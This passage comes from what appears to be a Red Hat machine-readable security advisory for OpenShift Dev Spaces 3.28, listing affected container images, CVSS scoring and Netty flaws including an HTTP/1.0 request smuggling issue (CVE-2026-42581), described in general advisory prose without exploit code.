"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement"
},
{
"cve": "CVE-2026-42581",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:02:26.404511+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477232"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty\u0027s HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw. Netty\u0027s HttpObjectDecoder, used across various Red Hat products, improperly handles conflicting `Transfer-Encoding: chunked` and `Content-Length` headers in HTTP/1.0 requests. This allows a remote attacker to perform HTTP request smuggling, potentially bypassing security controls or gaining unauthorized access to information due to misinterpretation of message boundaries by downstream proxies or handlers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
